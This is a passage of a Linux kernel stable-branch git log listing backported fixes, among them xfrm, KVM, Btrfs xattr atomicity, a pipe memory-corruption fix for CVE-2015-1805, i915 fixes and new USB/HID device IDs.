    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit 423f5859ddcf47699f336e063cf6a6d8bc2e93e5
Author: huaibin Wang <huaibin.wang@6wind.com>
Date:   Wed Feb 11 18:10:36 2015 +0100

    xfrm: release dst_orig in case of error in xfrm_lookup()
    
    commit ac37e2515c1a89c477459a2020b6bfdedabdb91b upstream.
    
    dst_orig should be released on error. Function like __xfrm_route_forward()
    expects that behavior.
    Since a recent commit, xfrm_lookup() may also be called by xfrm_lookup_route(),
    which expects the opposite.
    Let's introduce a new flag (XFRM_LOOKUP_KEEP_DST_REF) to tell what should be
    done in case of error.
    
    Fixes: f92ee61982d("xfrm: Generate blackhole routes only from route lookup functions")
    Signed-off-by: huaibin Wang <huaibin.wang@6wind.com>
    Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
    Signed-off-by: Steffen Klassert <steffen.klassert@secunet.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit 90fccfbc9a39ca6e805a9016090a7081b16a1793
Author: Bandan Das <bsd@redhat.com>
Date:   Thu Jun 11 02:05:33 2015 -0400

    KVM: nSVM: Check for NRIPS support before updating control field
    
    commit f104765b4f81fd74d69e0eb161e89096deade2db upstream.
    
    If hardware doesn't support DecodeAssist - a feature that provides
    more information about the intercept in the VMCB, KVM decodes the
    instruction and then updates the next_rip vmcb control field.
    However, NRIP support itself depends on cpuid Fn8000_000A_EDX[NRIPS].
    Since skip_emulated_instruction() doesn't verify nrip support
    before accepting control.next_rip as valid, avoid writing this
    field if support isn't present.
    
    Signed-off-by: Bandan Das <bsd@redhat.com>
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 3b4e13ebeaa99ac0825d54e35580365b2969bd01
Author: Sebastien Szymanski <sebastien.szymanski@armadeus.com>
Date:   Wed May 20 16:30:37 2015 +0200

    ARM: clk-imx6q: refine sata's parent
    
    commit da946aeaeadcd24ff0cda9984c6fb8ed2bfd462a upstream.
    
    According to IMX6D/Q RM, table 18-3, sata clock's parent is ahb, not ipg.
    
    Signed-off-by: Sebastien Szymanski <sebastien.szymanski@armadeus.com>
    Reviewed-by: Fabio Estevam <fabio.estevam@freescale.com>
    Signed-off-by: Shawn Guo <shawn.guo@linaro.org>
    [dirk.behme: Adjust moved file]
    Signed-off-by: Dirk Behme <dirk.behme@gmail.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a873146ce4fb025c0b5c1322af5a6bad042f5363
Author: Filipe Manana <fdmanana@suse.com>
Date:   Sun Nov 9 08:38:39 2014 +0000

    Btrfs: make xattr replace operations atomic
    
    commit 5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339 upstream.
    
    Replacing a xattr consists of doing a lookup for its existing value, delete
    the current value from the respective leaf, release the search path and then
    finally insert the new value. This leaves a time window where readers (getxattr,
    listxattrs) won't see any value for the xattr. Xattrs are used to store ACLs,
    so this has security implications.
    
    This change also fixes 2 other existing issues which were:
    
    *) Deleting the old xattr value without verifying first if the new xattr will
       fit in the existing leaf item (in case multiple xattrs are packed in the
       same item due to name hash collision);
    
    *) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't
       exist but we have have an existing item that packs muliple xattrs with
       the same name hash as the input xattr. In this case we should return ENOSPC.
    
    A test case for xfstests follows soon.
    
    Thanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace
    implementation.
    
    Reported-by: Alexandre Oliva <oliva@gnu.org>
    Signed-off-by: Filipe Manana <fdmanana@suse.com>
    Signed-off-by: Chris Mason <clm@fb.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 26c68a08f55169b2b103ad3d9a8b86191d486ded
Author: Chen Gang <gang.chen.5i5j@gmail.com>
Date:   Wed Dec 24 23:04:54 2014 +0800

    netfilter: nfnetlink_cthelper: Remove 'const' and '&' to avoid warnings
    
    commit b18c5d15e8714336365d9d51782d5b53afa0443c upstream.
    
    The related code can be simplified, and also can avoid related warnings
    (with allmodconfig under parisc):
    
        CC [M]  net/netfilter/nfnetlink_cthelper.o
      net/netfilter/nfnetlink_cthelper.c: In function ‘nfnl_cthelper_from_nlattr’:
      net/netfilter/nfnetlink_cthelper.c:97:9: warning: passing argument 1 o ‘memcpy’ discards ‘const’ qualifier from pointer target type [-Wdiscarded-array-qualifiers]
        memcpy(&help->data, nla_data(attr), help->helper->data_len);
               ^
      In file included from include/linux/string.h:17:0,
                       from include/uapi/linux/uuid.h:25,
                       from include/linux/uuid.h:23,
                       from include/linux/mod_devicetable.h:12,
                       from ./arch/parisc/include/asm/hardware.h:4,
                       from ./arch/parisc/include/asm/processor.h:15,
                       from ./arch/parisc/include/asm/spinlock.h:6,
                       from ./arch/parisc/include/asm/atomic.h:21,
                       from include/linux/atomic.h:4,
                       from ./arch/parisc/include/asm/bitops.h:12,
                       from include/linux/bitops.h:36,
                       from include/linux/kernel.h:10,
                       from include/linux/list.h:8,
                       from include/linux/module.h:9,
                       from net/netfilter/nfnetlink_cthelper.c:11:
      ./arch/parisc/include/asm/string.h:8:8: note: expected ‘void *’ but argument is of type ‘const char (*)[]’
       void * memcpy(void * dest,const void *src,size_t count);
              ^
    
    Signed-off-by: Chen Gang <gang.chen.5i5j@gmail.com>
    Signed-off-by: Pablo Neira Ayuso <pablo@soleta.eu>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b7889b59bcb13c97329f5c639b89bf4673b8ae1c
Author: Eugene Shatokhin <eugene.shatokhin@rosalab.ru>
Date:   Tue Mar 17 19:09:18 2015 +0900

    kprobes/x86: Return correct length in __copy_instruction()
    
    commit c80e5c0c23ce2282476fdc64c4b5e3d3a40723fd upstream.
    
    On x86-64, __copy_instruction() always returns 0 (error) if the
    instruction uses %rip-relative addressing. This is because
    kernel_insn_init() is called the second time for 'insn' instance
    in such cases and sets all its fields to 0.
    
    Because of this, trying to place a kprobe on such instruction
    will fail, register_kprobe() will return -EINVAL.
    
    This patch fixes the problem.
    
    Signed-off-by: Eugene Shatokhin <eugene.shatokhin@rosalab.ru>
    Signed-off-by: Masami Hiramatsu <masami.hiramatsu.pt@hitachi.com>
    Link: http://lkml.kernel.org/r/20150317100918.28349.94654.stgit@localhost.localdomain
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 9a8c56f0cd47d1bbf8fcfa3d7750e9345e11463f
Author: Wen-chien Jesse Sung <jesse.sung@canonical.com>
Date:   Wed May 13 11:39:24 2015 +0800

    Bluetooth: ath3k: Add a new ID 0cf3:e006 to ath3k list
    
    commit ca79f232054abd079648fdb4400c71a1310f7bc8 upstream.
    
    Device info in /sys/kernel/debug/usb/devices:
    
    T:  Bus=01 Lev=01 Prnt=01 Port=05 Cnt=02 Dev#=  3 Spd=12   MxCh= 0
    D:  Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs=  1
    P:  Vendor=0cf3 ProdID=e006 Rev= 0.01
    C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
    I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=81(I) Atr=03(Int.) MxPS=  16 Ivl=1ms
    E:  Ad=82(I) Atr=02(Bulk) MxPS=  64 Ivl=0ms
    E:  Ad=02(O) Atr=02(Bulk) MxPS=  64 Ivl=0ms
    I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=   0 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=   0 Ivl=1ms
    I:  If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=   9 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=   9 Ivl=1ms
    I:  If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=  17 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=  17 Ivl=1ms
    I:  If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=  25 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=  25 Ivl=1ms
    I:  If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=  33 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=  33 Ivl=1ms
    I:  If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=  49 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=  49 Ivl=1ms
    
    Signed-off-by: Wen-chien Jesse Sung <jesse.sung@canonical.com>
    Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit c1290f1fb60d091f3ea75d613df31cf4f223bbdb
Author: Dmitry Tunin <hanipouspilot@gmail.com>
Date:   Sat May 2 13:36:58 2015 +0300

    Bluetooth: ath3k: add support of 04ca:300f AR3012 device
    
    commit ec0810d2ac1c932dad48f45da67e3adc5c5449a1 upstream.
    
    BugLink: https://bugs.launchpad.net/bugs/1449730
    
    T:  Bus=01 Lev=01 Prnt=01 Port=04 Cnt=02 Dev#=  3 Spd=12  MxCh= 0
    D:  Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs=  1
    P:  Vendor=04ca ProdID=300f Rev=00.01
    C:  #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
    I:  If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    I:  If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    
    Signed-off-by: Dmitry Tunin <hanipouspilot@gmail.com>
    Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit e3d4ed26cd9d7a3a162ba8cf04e6a1db4e25ee94
Author: Ben Hutchings <ben@decadent.org.uk>
Date:   Tue Jun 16 22:11:06 2015 +0100

    pipe: iovec: Fix memory corruption when retrying atomic copy as non-atomic
    
    pipe_iov_copy_{from,to}_user() may be tried twice with the same iovec,
    the first time atomically and the second time not.  The second attempt
    needs to continue from the iovec position, pipe buffer offset and
    remaining length where the first attempt failed, but currently the
    pipe buffer offset and remaining length are reset.  This will corrupt
    the piped data (possibly also leading to an information leak between
    processes) and may also corrupt kernel memory.
    
    This was fixed upstream by commits f0d1bec9d58d ("new helper:
    copy_page_from_iter()") and 637b58c2887e ("switch pipe_read() to
    copy_page_to_iter()"), but those aren't suitable for stable.  This fix
    for older kernel versions was made by Seth Jennings for RHEL and I
    have extracted it from their update.
    
    CVE-2015-1805
    
    References: https://bugzilla.redhat.com/show_bug.cgi?id=1202855
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 7ae9f79d2675a03964293f131fcb06bb07de2881
Author: Dmitry Tunin <hanipouspilot@gmail.com>
Date:   Sat Jun 6 20:29:25 2015 +0300

    ath3k: add support of 13d3:3474 AR3012 device
    
    commit 0d0cef6183aec0fb6d0c9f00a09ff51ee086bbe2 upstream.
    
    BugLink: https://bugs.launchpad.net/bugs/1427680
    
    This device requires new firmware files
     AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to
    /lib/firmware/ar3k/ that are not included in linux-firmware yet.
    
    T: Bus=01 Lev=01 Prnt=01 Port=04 Cnt=01 Dev#= 4 Spd=12 MxCh= 0
    D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1
    P: Vendor=13d3 ProdID=3474 Rev=00.01
    C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
    I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    
    Signed-off-by: Dmitry Tunin <hanipouspilot@gmail.com>
    Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 8562990b207118c01ac2f21315d8e946d040ddd2
Author: Dmitry Tunin <hanipouspilot@gmail.com>
Date:   Sat Jun 6 20:25:40 2015 +0300

    ath3k: Add support of 0489:e076 AR3012 device
    
    commit 692c062e7c282164fd7cda68077f79dafd176eaf upstream.
    
    BugLink: https://bugs.launchpad.net/bugs/1462614
    
    This device requires new firmware files
     AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to
    /lib/firmware/ar3k/ that are not included in linux-firmware yet.
    
    T: Bus=03 Lev=01 Prnt=01 Port=09 Cnt=06 Dev#= 7 Spd=12 MxCh= 0
    D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1
    P: Vendor=0489 ProdID=e076 Rev= 0.01
    C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
    I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
    E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms
    E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms
    E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms
    I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
    E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms
    E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms
    I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
    E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms
    E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms
    I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
    E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms
    E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms
    I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
    E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms
    E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms
    I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
    E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms
    E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms
    I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
    E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms
    E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms
    
    Signed-off-by: Dmitry Tunin <hanipouspilot@gmail.com>
    Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d8c6ea5bce8b12b26502c230715415b693c340d6
Author: James Smart <james.smart@emulex.com>
Date:   Wed May 7 17:16:46 2014 -0400

    lpfc: Add iotag memory barrier
    
    commit 27f344eb15dd0da80ebec80c7245e8c85043f841 upstream.
    
    Add a memory barrier to ensure the valid bit is read before
    any of the cqe payload is read. This fixes an issue seen
    on Power where the cqe payload was getting loaded before
    the valid bit. When this occurred, we saw an iotag out of
    range error when a command completed, but since the iotag
    looked invalid the command didn't get completed to scsi core.
    Later we hit the command timeout, attempted to abort the command,
    then waited for the aborted command to get returned. Since the
    adapter already returned the command, we timeout waiting,
    and end up escalating EEH all the way to host reset. This
    patch fixes this issue.
    
    Signed-off-by: Brian King <brking@linux.vnet.ibm.com>
    Signed-off-by: James Smart <james.smart@emulex.com>
    
     ---
    
     lpfc_sli.c |   21 +++++++++++++++++++++
     1 file changed, 21 insertions(+)
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit a840d9e6bf3328a31bf9f90d1595542efb08c550
Author: Chris Wilson <chris@chris-wilson.co.uk>
Date:   Mon Sep 8 14:25:41 2014 +0100

    drm/i915: Evict CS TLBs between batches
    
    commit c4d69da167fa967749aeb70bc0e94a457e5d00c1 upstream.
    
    Running igt, I was encountering the invalid TLB bug on my 845g, despite
    that it was using the CS workaround. Examining the w/a buffer in the
    error state, showed that the copy from the user batch into the
    workaround itself was suffering from the invalid TLB bug (the first
    cacheline was broken with the first two words reversed). Time to try a
    fresh approach. This extends the workaround to write into each page of
    our scratch buffer in order to overflow the TLB and evict the invalid
    entries. This could be refined to only do so after we update the GTT,
    but for simplicity, we do it before each batch.
    
    I suspect this supersedes our current workaround, but for safety keep
    doing both.
    
    V2: The magic number shall be 2.
    
    This doesn't conclusively prove that it is the mythical TLB bug we've
    been trying to workaround for so long, that it requires touching a number
    of pages to prevent the corruption indicates to me that it is TLB
    related, but the corruption (the reversed cacheline) is more subtle than
    a TLB bug, where we would expect it to read the wrong page entirely.
    
    Oh well, it prevents a reliable hang for me and so probably for others
    as well.
    
    Signed-off-by: Chris Wilson <chris@chris-wilson.co.uk>
    Cc: Daniel Vetter <daniel.vetter@ffwll.ch>
    Cc: Ville Syrjälä <ville.syrjala@linux.intel.com>
    Cc: stable@vger.kernel.org
    Reviewed-by: Daniel Vetter <daniel.vetter@ffwll.ch>
    Signed-off-by: Jani Nikula <jani.nikula@intel.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 0bf814032e9fe3e8c813e272dac9e6b15e05f011
Author: Jesse Barnes <jbarnes@virtuousgeek.org>
Date:   Wed Dec 10 12:16:05 2014 -0800

    drm/i915: save/restore GMBUS freq across suspend/resume on gen4
    
    commit 9f49c37635d5c2a801f7670d5fbf0b25ec461f2c upstream.
    
    Should probably just init this in the GMbus code all the time, based on
    the cdclk and HPLL like we do on newer platforms.  Ville has code for
    that in a rework branch, but until then we can fix this bug fairly
    easily.
    
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=76301
    Signed-off-by: Jesse Barnes <jbarnes@virtuousgeek.org>
    Reviewed-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
    Tested-by: Nikolay <mar.kolya@gmail.com>
    Cc: stable@vger.kernel.org
    Signed-off-by: Jani Nikula <jani.nikula@intel.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 2e9817d56f97967b84fa3e0c9d2c19634eb09452
Author: Chris Wilson <chris@chris-wilson.co.uk>
Date:   Mon Dec 16 15:57:40 2013 +0000

    drm/i915: Handle failure to kick out a conflicting fb driver
    
    commit f96de58fc7e7d3d717c7c63975c3b896c906b5e3 upstream.
    
    Signed-off-by: Chris Wilson <chris@chris-wilson.co.uk>
    Reviewed-by: Jani Nikula <jani.nikula@intel.com>
    Signed-off-by: Daniel Vetter <daniel.vetter@ffwll.ch>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b53e4feee45c37422ca4aa4b3cff85520aec011e
Author: Daniel Vetter <daniel.vetter@ffwll.ch>
Date:   Fri Nov 14 09:25:29 2014 +0100

    drm/i915: drop WaSetupGtModeTdRowDispatch:snb
    
    commit 2208d655a91f9879bd9a39ff9df05dd668b3512c upstream.
    
    This reverts the regressing
    
    commit 6547fbdbfff62c99e4f7b4f985ff8b3454f33b0f
    Author: Daniel Vetter <daniel.vetter@ffwll.ch>
    Date:   Fri Dec 14 23:38:29 2012 +0100
    
        drm/i915: Implement WaSetupGtModeTdRowDispatch
    
    that causes GPU hangs immediately on boot.
    
    Reported-by: Leo Wolf <jclw@ymail.com>
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=79996
    Cc: stable@vger.kernel.org (v3.8+)
    Signed-off-by: Daniel Vetter <daniel.vetter@intel.com>
    [Jani: amended the commit message slightly.]
    Signed-off-by: Jani Nikula <jani.nikula@intel.com>
    
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit acb700bcb59e17e377638addedb4cfec1b912e34
Author: Christian Vogel <vogelchr@vogel.cx>
Date:   Wed Feb 12 20:56:00 2014 +0100

    usbhid/quirks: Ignore Riso Kagaku Webmail Notifier
    
    commit 759db9ead2c064203e9cb46bfff7c8ef25417b65 upstream.
    
    The "Webmail Notifier" is a USB controlled LED that appears as a HID
    device. When trying to change the LED via hidraw it returns malformed
    reports. As "usbled" supports it, we blacklist it in usbhid.
    
    Signed-off-by: Christian Vogel <vogelchr@vogel.cx>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a3b83ace8c93efb4b2e0cc345d7ec7f845af3cee
Author: Christian Vogel <vogelchr@vogel.cx>
Date:   Mon Feb 10 18:49:43 2014 +0100

    usb/misc/usbled: Add Riso Kagaku Webmail Notifier
    
    commit e8fcbb61405997f03b9e127806db620c7cfb9909 upstream.
    
    Add support for the "Webmail Notifier" (USB powered LED for signaling
    new emails) made by Riso Kagaku Corp. which displays 7 distinct colors.
    
    USB Protocol initially reverse engineered by
    	https://code.google.com/p/usbmailnotifier/.
    
    Signed-off-by: Christian Vogel <vogelchr@vogel.cx>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit dff1902e28c7e92671010183dace16fe90144caa
Author: Kristian Evensen <kristian.evensen@gmail.com>
Date:   Tue Jan 20 17:55:03 2015 +0100

    HID: do not bind to Microchip Pick16F1454
    
    commit a8c8316b11594e616df641b4b19ec9da732f93df upstream.
    
    The Microchip Pick16F1454 is exported as a HID device and is used by for
    example the Yepkit YKUSH three-port switchable USB hub. However, it is not an
    actual HID-device. On the Yepkit, it is used to power up/down the ports on the
    hub. The HID driver should ignore this device.
    
    Signed-off-by: Kristian Evensen <kristian.evensen@gmail.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e9a8e432051f9eae8b5359478a57208da6bf006a
Author: Patrick Plattes <patrick@erdbeere.net>
Date:   Sat Jul 5 08:58:06 2014 +0200

    HID: ignore jabra gn9350e
    
    commit 43c1a0a9db2d9213812766065f6a07a215ed70ad upstream.
    
    Ignore Jabra GN9350E HID interface. USB audio is working nicely, but
    registering as HID blocks USB mouse buttons. Since special userspace programs
    are needed we will avoid attaching usbhid drivers in general.
    
    Signed-off-by: Patrick Plattes <patrick@erdbeere.net>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b828f594569d1adae73df14fe904c7a0cce2f267
Author: Dinesh Ram <Dinesh.Ram@cern.ch>
Date:   Tue Oct 15 12:24:41 2013 -0300

    [media] si4713: HID blacklist Si4713 USB development board
    
    commit adc232592337d3ac4c5473ba8bdaf7c202bf215d upstream.
    
    The Si4713 development board contains a Si4713 FM transmitter chip
    and is handled by the radio-usb-si4713 driver.
    The board reports itself as (10c4:8244) Cygnal Integrated Products, Inc.
    and misidentifies itself as a HID device in its USB interface descriptor.
    This patch ignores this device as an HID device and hence loads the custom driver.
    
    Signed-off-by: Dinesh Ram <dinesh.ram@cern.ch>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Acked-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Hans Verkuil <hans.verkuil@cisco.com>
    Tested-by: Eduardo Valentin <edubezval@gmail.com>
    Acked-by: Eduardo Valentin <edubezval@gmail.com>
    Signed-off-by: Mauro Carvalho Chehab <m.chehab@samsung.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 57c3542bcfe270fd22b990ad92d3fcdba4323020
Author: Forest Wilkinson <web11.forest@tibit.com>
Date:   Thu Mar 12 23:58:16 2015 -0700

    HID: tivo: enable all buttons on the TiVo Slide Pro remote
    
    commit 9b028649b9d0ae72090904629dad06b022f4ddc7 upstream.
    
    The linux kernel has supported the TiVo Slide remote control for some time, but
    does not recognize the USB ID of the newer Slide Pro. This patch adds the
    missing data structures so the newer remote will be recognized by the driver,
    thereby allowing the TiVo, LiveTV, and Thumbs Up/Down buttons to be
    mapped with a hwdb file.
    
    Signed-off-by: Forest Wilkinson <web11.forest@tibit.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit bdd4946529b7d8e9d1903e3ba625c98bbc53bbdd
Author: Frank Praznik <frank.praznik@oh.rr.com>
Date:   Wed Nov 12 14:52:28 2014 -0500

    HID: sony: Add support for the third-party SMK PS3 Bluetooth Remote
    
    commit 68a49e51a4a9c500d950f893f1758c5ac13b7c8b upstream.
    
    Add vid/pid for the SMK branded third-party PS3 Bluetooth remote and enable
    support in the hid-sony driver.
    
    Signed-off-by: Frank Praznik <frank.praznik@oh.rr.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit bb0e98ddbeab4bca40b9701007fb598696bf5367
Author: Milan Plzik <milan.plzik@gmail.com>
Date:   Sat Feb 14 09:48:44 2015 +0100

    HID: kye: Fix report descriptor for Genius PenSketch M912
    
    commit feb6faf1e5d46276c5430e36ffb4a6f62bf8d55b upstream.
    
    Genius PenSketch M912 digitizer tablet sends incorrect report descriptor by
    default. This patch replaces it with a corrected one.
    
    Signed-off-by: Milan Plzik <milan.plzik@gmail.com>
    Reviewed-by: Nikolai Kondrashov <spbnick@gmail.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b938a279ee39c3df73eab6ae1106a4eadb86fecf
Author: John DeSilva <desilvjo@umich.edu>
Date:   Fri Sep 5 11:13:17 2014 -0400

    HID: Add Holtek USB ID 04d9:a0c2 ETEKCITY Scroll
    
    commit 5df4eb054fe056ecb15875e812fdadbc47568d7d upstream.
    
    The report descriptor for the HOLTEK USB ID 04d9:a0c2 (ETEKCITY Scroll
    T-140 Gaming Mouse) is set to a very large amount of consumer usages
    (2^16), exceeding HID_MAX_USAGES. Added id, bindings and comments for
    the mouse, added to hid_have_special_driver, and reduced the usage and
    logical maximums to 0x2fff, consistent with the other mice in the
    category. Tested on the hardware.
    
    Signed-off-by: John C. DeSilva <desilvjo@umich.edu>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 931ffad35d636ac837d1246f2c09e737057953a3
Author: Kharlamov Alexey <derlafff@yandex.ru>
Date:   Tue Jan 14 16:09:09 2014 +0400

    HID: hid-holtek-mouse: add new a070 mouse
    
    commit 274be3eb653c421d68514684024c6d915c94b728 upstream.
    
    Added support of RITMIX ROM-316 mouse to hid-holtek-mouse workaround module
    
    Signed-off-by: Alexey Kharlamov <derlafff@ya.ru>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d257909d9928be63cce2ea6b7973b0f446b74e7b
Author: Huei-Horng Yo <hiroshi@ghostsinthelab.org>
Date:   Thu Feb 6 17:40:34 2014 +0800

    HID: apple: add Apple wireless keyboard 2011 JIS model support
    
    commit bd4a7ce1da061d97c45673e1ca1a6a474bfb4cff upstream.
    
    Add Apple wireless keyboard 2011 JIS model (05ac:0257).
    
    Signed-off-by: Huei-Horng Yo <hiroshi@ghostsinthelab.org>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 7aedf84a29528e1ad898c2622e230553bd73ff66
Author: Stephen M. Cameron <scameron@beardog.cce.hp.com>
Date:   Fri Nov 14 17:26:38 2014 -0600

    hpsa: fix a couple pci id table mistakes
    
    commit 7d2cce58a765e802959471f8a7edd83f113ad637 upstream.
    
    Fix a couple of pci id table mistakes:
    Subdevice ID 0x3323 missing from product[] table
    	(another name for HP Smart Storage 1210m)
    Bogus 0x1925 subdevice id removed from hpsa_pci_device_id[] (no such thing.)
    
    Signed-off-by: Don Brace <don.brace@pmcs.com>
    Reviewed-by: Webb Scales <webbnh@hp.com>
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit cafc838460ca969e0f85a8462699543ba384ebed
Author: Tim Gardner <tim.gardner@canonical.com>
Date:   Thu Aug 28 11:26:03 2014 -0600

    fs: namespace: suppress 'may be used uninitialized' warnings
    
    commit b8850d1fa8e2f6653e57daf6d08e58c5f5eb2c85 upstream.
    
    The gcc version 4.9.1 compiler complains Even though it isn't possible for
    these variables to not get initialized before they are used.
    
    fs/namespace.c: In function ‘SyS_mount’:
    fs/namespace.c:2720:8: warning: ‘kernel_dev’ may be used uninitialized in this function [-Wmaybe-uninitialized]
